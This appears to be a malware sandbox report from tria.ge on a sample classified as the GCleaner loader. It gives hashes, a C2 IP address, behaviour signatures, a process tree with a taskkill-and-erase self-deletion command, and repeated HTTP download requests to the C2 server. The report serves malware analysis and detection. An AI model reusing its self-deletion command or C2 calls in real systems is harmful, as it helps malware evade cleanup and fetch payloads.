Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2024, 22:01 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe

  • Size

    270KB

  • MD5

    9230ef97a9a569e3a52b3701db960bec

  • SHA1

    5281258f8a82ebe0399f03b9b099e28335523508

  • SHA256

    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb

  • SHA512

    2a5da291f77c279823b6da9c13989d485fe3a2e4ad48ee98811d1393c8c8283e3d47aa1b425f98bed1926253187b2f3542c004bec884da4d37b0f27958b24530

  • SSDEEP

    3072:wILRxWrfH3gMKR1MnwqaeGgkTinTDKblVj5EzLXaZbIcZXlf4lpbQ:wAxafH3gMKR1x3edkTiTDKbl8Xq5ZY

Score
10/10
gcleanerdiscoveryloader

Malware Config

Extracted

Family

gcleaner

C2

80.66.75.114

Signatures

  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
    "C:\Users\Admin\AppData\Local\Temp\e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 740
      2⤵
      • Program crash
      PID:3464
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 760
      2⤵
      • Program crash
      PID:3760
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 760
      2⤵
      • Program crash
      PID:2640
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 832
      2⤵
      • Program crash
      PID:2352
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 904
      2⤵
      • Program crash
      PID:824
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 980
      2⤵
      • Program crash
      PID:4496
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 1332
      2⤵
      • Program crash
      PID:3400
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im "e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /im "e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3500
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 1256
      2⤵
      • Program crash
      PID:1528
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2308 -ip 2308
    1⤵
      PID:4756
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2308 -ip 2308
      1⤵
        PID:1416
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2308 -ip 2308
        1⤵
          PID:3232
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2308 -ip 2308
          1⤵
            PID:4632
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2308 -ip 2308
            1⤵
              PID:3332
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2308 -ip 2308
              1⤵
                PID:2820
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2308 -ip 2308
                1⤵
                  PID:4300
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2308 -ip 2308
                  1⤵
                    PID:2592

                  Network

                  • flag-us
                    DNS
                    133.211.185.52.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    133.211.185.52.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    73.144.22.2.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    73.144.22.2.in-addr.arpa
                    IN PTR
                    Response
                    73.144.22.2.in-addr.arpa
                    IN PTR
                    a2-22-144-73deploystaticakamaitechnologiescom
                  • flag-us
                    DNS
                    71.31.126.40.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    71.31.126.40.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    95.221.229.192.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    95.221.229.192.in-addr.arpa
                    IN PTR
                    Response
                  • flag-ru
                    GET
                    http://80.66.75.114/add?substr=one&s=two
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /add?substr=one&s=two HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: 1
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:29 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:29 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=99
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:31 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=98
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:33 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=97
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:35 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=96
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:37 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=95
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:39 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=94
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:41 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=93
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:43 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=92
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:46 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=91
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:48 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=90
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-ru
                    GET
                    http://80.66.75.114/files/download
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    Remote address:
                    80.66.75.114:80
                    Request
                    GET /files/download HTTP/1.1
                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                    User-Agent: B
                    Host: 80.66.75.114
                    Connection: Keep-Alive
                    Cache-Control: no-cache
                    Response
                    HTTP/1.1 200 OK
                    Date: Wed, 04 Sep 2024 22:01:50 GMT
                    Server: Apache/2.4.52 (Ubuntu)
                    Content-Length: 1
                    Keep-Alive: timeout=5, max=89
                    Connection: Keep-Alive
                    Content-Type: text/html; charset=UTF-8
                  • flag-us
                    DNS
                    114.75.66.80.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    114.75.66.80.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    209.205.72.20.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    209.205.72.20.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    228.249.119.40.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    228.249.119.40.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    86.23.85.13.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    86.23.85.13.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    18.31.95.13.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    18.31.95.13.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    172.214.232.199.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    172.214.232.199.in-addr.arpa
                    IN PTR
                    Response
                  • flag-us
                    DNS
                    21.236.111.52.in-addr.arpa
                    Remote address:
                    8.8.8.8:53
                    Request
                    21.236.111.52.in-addr.arpa
                    IN PTR
                    Response
                  • 80.66.75.114:80
                    http://80.66.75.114/files/download
                    http
                    e6361c1ef0bf8bcf2214c38398271d7f712ec8bd695f537d5f8778ef792f95cb.exe
                    6.4kB
                     3.6kB
                     30
                    19

                    HTTP Request

                    GET http://80.66.75.114/add?substr=one&s=two

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200

                    HTTP Request

                    GET http://80.66.75.114/files/download

                    HTTP Response

                    200
                  • 8.8.8.8:53
                    133.211.185.52.in-addr.arpa
                    dns
                    73 B
                     147 B
                     1
                    1

                    DNS Request

                    133.211.185.52.in-addr.arpa

                  • 8.8.8.8:53
                    73.144.22.2.in-addr.arpa
                    dns
                    70 B
                     133 B
                     1
                    1

                    DNS Request

                    73.144.22.2.in-addr.arpa

                  • 8.8.8.8:53
                    71.31.126.40.in-addr.arpa
                    dns
                    71 B
                     157 B
                     1
                    1

                    DNS Request

                    71.31.126.40.in-addr.arpa

                  • 8.8.8.8:53
                    95.221.229.192.in-addr.arpa
                    dns
                    73 B
                     144 B
                     1
                    1

                    DNS Request

                    95.221.229.192.in-addr.arpa

                  • 8.8.8.8:53
                    114.75.66.80.in-addr.arpa
                    dns
                    71 B
                     129 B
                     1
                    1

                    DNS Request

                    114.75.66.80.in-addr.arpa

                  • 8.8.8.8:53
                    209.205.72.20.in-addr.arpa
                    dns
                    72 B
                     158 B
                     1
                    1

                    DNS Request

                    209.205.72.20.in-addr.arpa

                  • 8.8.8.8:53
                    228.249.119.40.in-addr.arpa
                    dns
                    73 B
                     159 B
                     1
                    1

                    DNS Request

                    228.249.119.40.in-addr.arpa

                  • 8.8.8.8:53
                    86.23.85.13.in-addr.arpa
                    dns
                    70 B
                     144 B
                     1
                    1

                    DNS Request

                    86.23.85.13.in-addr.arpa

                  • 8.8.8.8:53
                    18.31.95.13.in-addr.arpa
                    dns
                    70 B
                     144 B
                     1
                    1

                    DNS Request

                    18.31.95.13.in-addr.arpa

                  • 8.8.8.8:53
                    172.214.232.199.in-addr.arpa
                    dns
                    74 B
                     128 B
                     1
                    1

                    DNS Request

                    172.214.232.199.in-addr.arpa

                  • 8.8.8.8:53
                    21.236.111.52.in-addr.arpa
                    dns
                    72 B
                     158 B
                     1
                    1

                    DNS Request

                    21.236.111.52.in-addr.arpa

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2VX66VOV\download[1].htm
                    Filesize

                    1B

                    MD5

                    cfcd208495d565ef66e7dff9f98764da

                    SHA1

                    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                    SHA256

                    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                    SHA512

                    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                    Download Submit

                  • memory/2308-1-0x0000000000590000-0x0000000000690000-memory.dmp

                    Filesize

                    1024KB

                    Download

                  • memory/2308-2-0x0000000000520000-0x000000000054D000-memory.dmp

                    Filesize

                    180KB

                    Download

                  • memory/2308-3-0x0000000000400000-0x000000000042F000-memory.dmp

                    Filesize

                    188KB

                    Download

                  • memory/2308-8-0x0000000000400000-0x000000000044A000-memory.dmp

                    Filesize

                    296KB

                    Download

                  • memory/2308-9-0x0000000000590000-0x0000000000690000-memory.dmp

                    Filesize

                    1024KB

                    Download

                  • memory/2308-11-0x0000000000520000-0x000000000054D000-memory.dmp

                    Filesize

                    180KB

                    Download

                  • memory/2308-12-0x0000000000400000-0x000000000042F000-memory.dmp

                    Filesize

                    188KB

                    Download

                  • memory/2308-21-0x0000000000400000-0x000000000044A000-memory.dmp

                    Filesize

                    296KB

                    Download

                  • memory/2308-22-0x0000000000400000-0x000000000042F000-memory.dmp

                    Filesize

                    188KB

                    Download

                  We care about your privacy.

                  This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.